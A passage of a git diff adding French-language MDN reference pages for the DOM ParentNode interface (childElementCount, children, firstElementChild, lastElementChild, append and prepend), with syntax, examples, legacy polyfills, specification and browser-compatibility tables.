+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.appendChild(docFrag);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-append', 'ParentNode.append()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.ParentNode.append")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} et {{domxref("ChildNode")}}</li>
+ <li>{{domxref("ParentNode.prepend()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("ChildNode.after()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/fr/web/api/parentnode/childelementcount/index.html b/files/fr/web/api/parentnode/childelementcount/index.html
new file mode 100644
index 0000000000..df243c5b32
--- /dev/null
+++ b/files/fr/web/api/parentnode/childelementcount/index.html
@@ -0,0 +1,98 @@
+---
+title: ParentNode.childElementCount
+slug: Web/API/ParentNode/childElementCount
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+  - Reference
+  - parent
+translation_of: Web/API/ParentNode/childElementCount
+---
+<div>
+<p>{{APIRef("DOM") }}</p>
+</div>
+
+<p>La propriété <code><strong>ParentNode.childElementCount</strong></code> en lecture seule renvoie un <code>unsigned long</code> (<em>long non signé</em>) représentant le nombre d'élèments fils de l'élément donné.</p>
+
+<div class="note">
+<p>Cette propriété a été définie dans la pure interface {{domxref("ElementTraversal")}}.<br>
+ Comme cette interface contenait deux différents jeux de propriétés, l'un visant les  {{domxref("Node")}} (<em>noeuds</em>) qui ont des enfants, l'autre les enfants, ils ont été déplacés dans deux interfaces pures, {{domxref("ParentNode")}} et {{domxref("ChildNode")}}. Dans ce cas, <code>childElementCount</code> a été rattaché à {{domxref("ParentNode")}}. C'est un changement assez technique qui ne devrait pas affecter la compatibilité.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>count</var> = <em>node</em>.childElementCount;
+</pre>
+
+<dl>
+ <dt>count</dt>
+ <dd>détient la valeur de retour, un type <code>unsigned long</code> (<em>long non signé</em>) (simplement un nombre entier)</dd>
+ <dt>node</dt>
+ <dd>est un objet représentant un <code>Document</code>, un <code>DocumentFragment</code> ou un <code>Element</code>.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> foo <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"foo"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span>foo<span class="punctuation token">.</span>childElementCount <span class="operator token">&gt;</span> <span class="number token">0</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// faire quelque chose</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Polyfill_pour_IE8_IE9_Safari">Polyfill pour IE8 &amp; IE9 &amp; Safari</h2>
+
+<p>Cette propriété n'est pas supportée par les versions antérieures à IE9 ni par IE9 ni par Safari. Ainsi, les objets Document, DocumentFragment dans ces navigateurs ne l'ont pas.</p>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="punctuation token">;</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>constructor<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>constructor <span class="operator token">&amp;&amp;</span>
+        constructor<span class="punctuation token">.</span>prototype <span class="operator token">&amp;&amp;</span>
+        constructor<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>childElementCount <span class="operator token">==</span> <span class="keyword token">null</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        Object<span class="punctuation token">.</span><span class="function token">defineProperty</span><span class="punctuation token">(</span>constructor<span class="punctuation token">.</span>prototype<span class="punctuation token">,</span> <span class="string token">'childElementCount'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+            <span class="keyword token">get</span><span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+                <span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">,</span> count <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">,</span> node<span class="punctuation token">,</span> nodes <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>childNodes<span class="punctuation token">;</span>
+                <span class="keyword token">while</span> <span class="punctuation token">(</span>node <span class="operator token">=</span> nodes<span class="punctuation token">[</span>i<span class="operator token">++</span><span class="punctuation token">]</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+                    <span class="keyword token">if</span> <span class="punctuation token">(</span>node<span class="punctuation token">.</span>nodeType <span class="operator token">===</span> <span class="number token">1</span><span class="punctuation token">)</span> count<span class="operator token">++</span><span class="punctuation token">;</span>
+                <span class="punctuation token">}</span>
+                <span class="keyword token">return</span> count<span class="punctuation token">;</span>
+            <span class="punctuation token">}</span>
+        <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">(</span>window<span class="punctuation token">.</span>Node <span class="operator token">||</span> window<span class="punctuation token">.</span>Element<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-childElementCount', 'ParentNode.childElementCount')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Divise l'interface <code>ElementTraversal</code> en {{domxref("ChildNode")}} et <code>ParentNode</code>. La propriété est maintenant définie sur cette dernière.<br>
+    Les {{domxref("Document")}} et {{domxref("DocumentFragment")}} implémentent la nouvelle interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-childElementCount', 'ElementTraversal.childElementCount')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Ajout de sa définition initiale à la pure interface <code>ElementTraversal</code> et de son utilisation sur {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+<p>{{Compat("api.ParentNode.childElementCount")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les interfaces pures {{domxref("ParentNode")}} et {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Types d'objets implémentant cette interface pure : {{domxref("Document")}}, {{domxref("Element")}} et {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/fr/web/api/parentnode/children/index.html b/files/fr/web/api/parentnode/children/index.html
new file mode 100644
index 0000000000..52c529a1b8
--- /dev/null
+++ b/files/fr/web/api/parentnode/children/index.html
@@ -0,0 +1,89 @@
+---
+title: ParentNode.children
+slug: Web/API/ParentNode/children
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+  - parent
+translation_of: Web/API/ParentNode/children
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La propriété <code><strong>children</strong></code> de {{domxref("ParentNode")}} est une propriété en lecture seule qui renvoie une {{domxref("HTMLCollection")}} directe contenant tous les enfants {{domxref("Element","éléments")}} du noeud sur lequel elle a été appelée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>children</em> = <em>node</em>.children;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une {{ domxref("HTMLCollection") }}, qui est une collection directe et ordonnée des éléments DOM qui sont enfants du <em><code>node</code></em> (<em>noeud</em>). Vous pouvez accéder aux noeuds enfants individuellement en utilisant la méthode  {{domxref("HTMLCollection.item", "item()")}} (<em>élément</em>) sur la collection ou en utilisant la notation de type tableau (<em>array</em>) de JavaScript.</p>
+
+<p>S'il n'y a pas d'éléments enfants, alors <code>children</code> est une liste vide et a une <code>length</code> (<em>longueur</em>) de <code>0</code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> machin <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'machin'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> machin<span class="punctuation token">.</span>children<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>machin<span class="punctuation token">.</span>children<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>tagName<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// Réécrit le prototype 'children' natif.</span>
+<span class="comment token">// Ajoute le support de Document &amp; DocumentFragment pour IE9 &amp; Safari.</span>
+<span class="comment token">// Renvoie un tableau (<em>array</em>) au lieu d'une HTMLCollection.</span>
+<span class="punctuation token">;</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>constructeur<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>constructeur <span class="operator token">&amp;&amp;</span>
+        constructeur<span class="punctuation token">.</span>prototype <span class="operator token">&amp;&amp;</span>
+        constructeur<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>children <span class="operator token">==</span> <span class="keyword token">null</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        Object<span class="punctuation token">.</span><span class="function token">defineProperty</span><span class="punctuation token">(</span>constructeur<span class="punctuation token">.</span>prototype<span class="punctuation token">,</span> <span class="string token">'children'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+            <span class="keyword token">get</span><span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+                <span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">,</span> noeud<span class="punctuation token">,</span> noeuds <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>childNodes<span class="punctuation token">,</span> children <span class="operator token">=</span> <span class="punctuation token">[</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+                <span class="keyword token">while</span> <span class="punctuation token">(</span>noeud <span class="operator token">=</span> noeuds<span class="punctuation token">[</span>i<span class="operator token">++</span><span class="punctuation token">]</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+                    <span class="keyword token">if</span> <span class="punctuation token">(</span>noeud<span class="punctuation token">.</span>nodeType <span class="operator token">===</span> <span class="number token">1</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+                        children<span class="punctuation token">.</span><span class="function token">push</span><span class="punctuation token">(</span>noeud<span class="punctuation token">)</span><span class="punctuation token">;</span>
+                    <span class="punctuation token">}</span>
+                <span class="punctuation token">}</span>
+                <span class="keyword token">return</span> children<span class="punctuation token">;</span>
+            <span class="punctuation token">}</span>
+        <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">(</span>window<span class="punctuation token">.</span>Node <span class="operator token">||</span> window<span class="punctuation token">.</span>Element<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.ParentNode.children")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les interfaces {{domxref("ParentNode")}} et{{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Les types d'objets implémentant cette interface : {{domxref("Document")}}, {{domxref("Element")}} et {{domxref("DocumentFragment")}}.</div>
+ </li>
+ <li>
+  <div class="syntaxbox">{{domxref("Node.childNodes")}}</div>
+ </li>
+</ul>
diff --git a/files/fr/web/api/parentnode/firstelementchild/index.html b/files/fr/web/api/parentnode/firstelementchild/index.html
new file mode 100644
index 0000000000..60983da28f
--- /dev/null
+++ b/files/fr/web/api/parentnode/firstelementchild/index.html
@@ -0,0 +1,45 @@
+---
+title: Element.firstElementChild
+slug: Web/API/ParentNode/firstElementChild
+tags:
+  - Parcours arborescence
+translation_of: Web/API/ParentNode/firstElementChild
+---
+<p>{{ gecko_minversion_header("1.9.1") }}</p>
+
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Summary" name="Summary">Résumé</h3>
+
+<p><strong><span style="font-family: Verdana,Tahoma,sans-serif;">firstElementChild</span></strong> renvoie le premier élément enfant d'un élément ou <code>null</code> s'il n'y a pas de descendants.</p>
+
+<h3 id="Syntax_and_values" name="Syntax_and_values">Syntaxe and valeurs</h3>
+
+<pre class="eval">var <em>N</em><em>oeudEnfant</em> = ReferenceElementNoeud.firstElementChild; </pre>
+
+<p><var>NoeudEnfant</var> est une référence vers le premier élément enfant de l'élément noeud , ou <code>null</code> s'il n'y en a pas.</p>
+
+<p>Cet attribut est en lecture seule.</p>
+
+<h3 id="Example" name="Example">Exemple</h3>
+
+<pre>&lt;p id="para-01"&gt;
+  &lt;span&gt;Premier span&lt;/span&gt;
+&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstElementChild.nodeName)
+&lt;/script&gt;</pre>
+
+<p>Dans cet exemple la fonction alert affiche "SPAN", qui est le nom du premier nœud enfant de l'élément paragraphe.</p>
+
+<h3 id="Voir_aussi">Voir aussi</h3>
+
+<ul>
+ <li><a class="internal" href="/en/DOM/Element.childElementCount" title="En/DOM/Element.childElementCount"><code>childElementCount</code></a></li>
+ <li><a class="internal" href="/en/DOM/Element.children" title="En/DOM/Element.children"><code>children</code></a></li>
+ <li><a class="internal" href="/en/DOM/Element.lastElementChild" title="En/DOM/Element.lastElementChild"><code>lastElementChild</code></a></li>
+ <li><a class="internal" href="/en/DOM/Element.nextElementSibling" title="En/DOM/Element.nextElementSibling"><code>nextElementSibling</code></a></li>
+ <li><a class="internal" href="/en/DOM/Element.previousElementSibling" title="En/DOM/Element.previousElementSibling"><code>previousElementSibling</code></a></li>
+</ul>
diff --git a/files/fr/web/api/parentnode/index.html b/files/fr/web/api/parentnode/index.html
new file mode 100644
index 0000000000..9b33ade976
--- /dev/null
+++ b/files/fr/web/api/parentnode/index.html
@@ -0,0 +1,75 @@
+---
+title: ParentNode
+slug: Web/API/ParentNode
+tags:
+  - API
+translation_of: Web/API/ParentNode
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Le <code><strong>ParentNode</strong></code> <span id="result_box" lang="fr"><span>contient des méthodes et des propriétés communes à tous les types d'objets</span></span> {{domxref("Node")}}  qui peuvent avoir des enfants. Il est implémenté par les objets {{domxref("Element")}}, {{domxref("Document")}}, et {{domxref("DocumentFragment")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{ domxref("ParentNode.children") }} {{experimental_inline}} {{readonlyInline}}</dt>
+ <dd>Retourne la {{domxref("HTMLCollection")}} contenant tous les objets de type {{domxref("Element")}} qui sont des enfants de ce <code>ParentNode</code>.</dd>
+ <dt>{{ domxref("ParentNode.firstElementChild") }} {{experimental_inline}} {{readonlyInline}}</dt>
+ <dd>Retourne l' {{domxref("Element")}} qui est le premier enfant de ce <code>ParentNode</code>, ou <code>null</code> s'il n'y en a pas.</dd>
+ <dt>{{ domxref("ParentNode.lastElementChild") }} {{experimental_inline}} {{readonlyInline}}</dt>
+ <dd>Retourne l'élément {{domxref("Element")}} qui est le dernier enfant de ce <code>ParentNode</code>, ou <code>null</code> s'il n'y en a pas.</dd>
+ <dt>{{ domxref("ParentNode.childElementCount") }} {{experimental_inline}} {{readonlyInline}}</dt>
+ <dd>Retourne un <code>unsigned long</code> donnant la quantité d'enfants du parent.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("ParentNode.append()")}} {{experimental_inline}}</dt>
+ <dd>Insère un ensemble d'objets {{domxref("Node")}} ou {{domxref("DOMString")}} après le dernier enfant du <code>ParentNode</code>. Les objets {{domxref("DOMString")}} sont insérés comme équivalents aux noeuds {{domxref("Text")}} .</dd>
+ <dt>{{domxref("ParentNode.prepend()")}} {{experimental_inline}}</dt>
+ <dd>Insère un ensemble d'objets {{domxref("Node")}} ou {{domxref("DOMString")}} avant le premier enfant du <code>ParentNode</code>. Les objets {{domxref("DOMString")}} sont insérés comme équivalents aux noeuds {{domxref("Text")}}.</dd>
+ <dt>{{domxref("ParentNode.querySelector()")}}</dt>
+ <dd>Retourne le premier {{domxref("Element")}} avec l'élément actuel en tant que racine qui correspond au groupe de sélecteurs spécifié.</dd>
+ <dt>{{domxref("ParentNode.querySelectorAll()")}}</dt>
+ <dd>Retourne une {{domxref("NodeList")}} représentant une liste d'éléments avec l'élément courant comme racine qui correspond au groupe de sélecteurs spécifié.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Divise l'interface <code>ElementTraversal</code> dans {{domxref("ChildNode")}} et {{domxref("ParentNode")}}. Les propriétés {{domxref("ParentNode.firstElementChild")}}, {{domxref("ParentNode.lastElementChild")}}, et {{domxref("ParentNode.childElementCount")}} sont maintenant définies sur ce dernier. Ajout des propriétés {{domxref("ParentNode.children")}}, et des méthodes {{domxref("ParentNode.querySelector()")}}, {{domxref("ParentNode.querySelectorAll()")}}, {{domxref("ParentNode.append()")}}, et {{domxref("ParentNode.prepend()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Ajout de la définition initiale de ses propriétés dans l'interface pure<code>ElementTraversal,</code> et son utilisation sur {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.ParentNode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface pure {{domxref("ChildNode")}} .</li>
+ <li>
+  <div class="syntaxbox">Types d'objets implémentant cette interface pure : {{domxref("Document")}}, {{domxref("Element")}}, et {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/fr/web/api/parentnode/lastelementchild/index.html b/files/fr/web/api/parentnode/lastelementchild/index.html
new file mode 100644
index 0000000000..8a978b0997
--- /dev/null
+++ b/files/fr/web/api/parentnode/lastelementchild/index.html
@@ -0,0 +1,161 @@
+---
+title: ParentNode.lastElementChild
+slug: Web/API/ParentNode/lastElementChild
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+  - parent
+translation_of: Web/API/ParentNode/lastElementChild
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La propriété en lecture seule <code><strong>ParentNode.lastElementChild</strong></code>  renvoie  le dernier enfant de l'objet {{domxref("Element")}} ou <code>null</code> s'il n'y a pas d'élément enfant.</p>
+
+<div class="note">
+<p>Cette propriiété a été définie initialement dans la pure interface {{domxref("ElementTraversal")}}. Comme cette interface contenait deux différents jeux de propriétés, l'un visant les  {{domxref("Node")}} (<em>noeuds</em>) qui ont des enfants, l'autre les enfants, ils ont été déplacés dans deux interfaces pures, {{domxref("ParentNode")}} et {{domxref("ChildNode")}}. Dans ce cas, <code>childElementCount</code> a été rattaché à {{domxref("ParentNode")}}. C'est un changement assez technique qui ne devrait pas affecter la compatibilité.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>element</em> = node.lastElementChild; </pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: html">&lt;ul id="foo"&gt;
+  &lt;li&gt;First  (1)&lt;/li&gt;
+  &lt;li&gt;Second (2)&lt;/li&gt;
+  &lt;li&gt;Third  (3)&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;script&gt;
+var foo = document.getElementById('foo');
+// produit : Third  (3)
+console.log(foo.lastElementChild.textContent);
+&lt;/script&gt;
+</pre>
+
+<h2 id="Polyfill_for_IE8_IE9_and_Safari">Polyfill for IE8, IE9 and Safari</h2>
+
+<pre class="brush: js">// Remplace le prototype "lastElementChild" natif.
+// Ajout de Document &amp; DocumentFragment pris en charge pour IE9 &amp; Safari.
+// Renvoie un tableau (array) à la place de HTMLCollection.
+;(function(constructor) {
+    if (constructor &amp;&amp;
+        constructor.prototype &amp;&amp;
+        constructor.prototype.lastElementChild == null) {
+        Object.defineProperty(constructor.prototype, 'lastElementChild', {
+            get: function() {
+                var node, nodes = this.childNodes, i = nodes.length - 1;
+                while (node = nodes[i--]) {
+                    if (node.nodeType === 1) {
+                        return node;
+                    }
+                }
+                return null;
+            }
+        });
+    }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-lastelementchild', 'ParentNode.lastElementChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Divise l'interface <code>ElementTraversal</code> en {{domxref("ChildNode")}} et <code>ParentNode</code>. La propriété est maintenant définie sur cette dernière.<br>
+    Les {{domxref("Document")}} et {{domxref("DocumentFragment")}} implémentent la nouvelle interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-lastElementChild', 'ElementTraversal.lastElementChild')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Ajout de sa définition initiale à la pure interface <code>ElementTraversal</code> et de son utilisation sur {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les interfaces pures {{domxref("ParentNode")}} et {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Types d'objets implémentant cette interface pure : {{domxref("Document")}}, {{domxref("Element")}} et {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/fr/web/api/parentnode/prepend/index.html b/files/fr/web/api/parentnode/prepend/index.html
new file mode 100644
index 0000000000..a11511c3c8
--- /dev/null
+++ b/files/fr/web/api/parentnode/prepend/index.html
@@ -0,0 +1,137 @@
+---
+title: ParentNode.prepend()
+slug: Web/API/ParentNode/prepend
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Noeuds
+  - parent
+translation_of: Web/API/ParentNode/prepend
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <strong><code>ParentNode.prepend</code></strong> insère un jeu d'objets {{domxref("Node")}} (<em>noeud</em>) ou {{domxref("DOMString")}} (<em>chaîne de caractères</em>) avant le premier enfant de <code>ParentNode</code>. Les objets {{domxref("DOMString")}} sont insérés comme équivalant des noeuds {{domxref("Text")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>ParentNode</em>.prepend(<em>nodesToPrepend</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nodesToPrepend</code></dt>
+ <dd>Un noeud ou plus à insérer avant le premier noeud enfant dans le <code>ParentNode</code> courant. Chaque noeud peut être spécifié comme un objet {{domxref("Node")}} ou comme une chaîne de caractères ; les chaînes sont insérées comme de nouveaux noeuds {{domxref("Text")}}.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p><code>undefined</code> (<em>indéfini</em>).</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}} : Le noeud ne peut pas être inséré au point spécifié dans la hiérarchie.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Ajout_dun_élément">Ajout d'un élément</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+var span = document.createElement("span");
+parent.append(p);
+parent.prepend(span);
+
+console.log(parent.childNodes); // NodeList [ &lt;span&gt;, &lt;p&gt; ]
+</pre>
+
+<h3 id="Ajout_dun_texte">Ajout d'un texte</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+parent.append("Some text");
+parent.prepend("Headline: ");
+
+console.log(parent.textContent); // "Headline: Some text"</pre>
+
+<h3 id="Ajout_dun_élément_et_dun_texte">Ajout d'un élément et d'un texte</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.prepend("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", &lt;p&gt; ]</pre>
+
+<h3 id="ParentNode.prepend_est_non_accessible"><code>ParentNode.prepend()</code> est non accessible</h3>
+
+<p>La méthode <code>prepend()</code> n'est pas comprise dans l'instruction <code>with</code>. Voir {{jsxref("Symbol.unscopables")}} pour plus d'informations.</p>
+
+<pre class="brush: js">var parent = document.createElement("div");
+
+with(parent) {
+  prepend("foo");
+}
+// ReferenceError: prepend is not defined (<em>prepend n'est pas défini</em>)</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>vous pouvez utiliser le polyfill pour la méthode <code>prepend()</code> si elle n'est pas disponible :</p>
+
+<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/prepend()/prepend().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('prepend')) {
+      return;
+    }
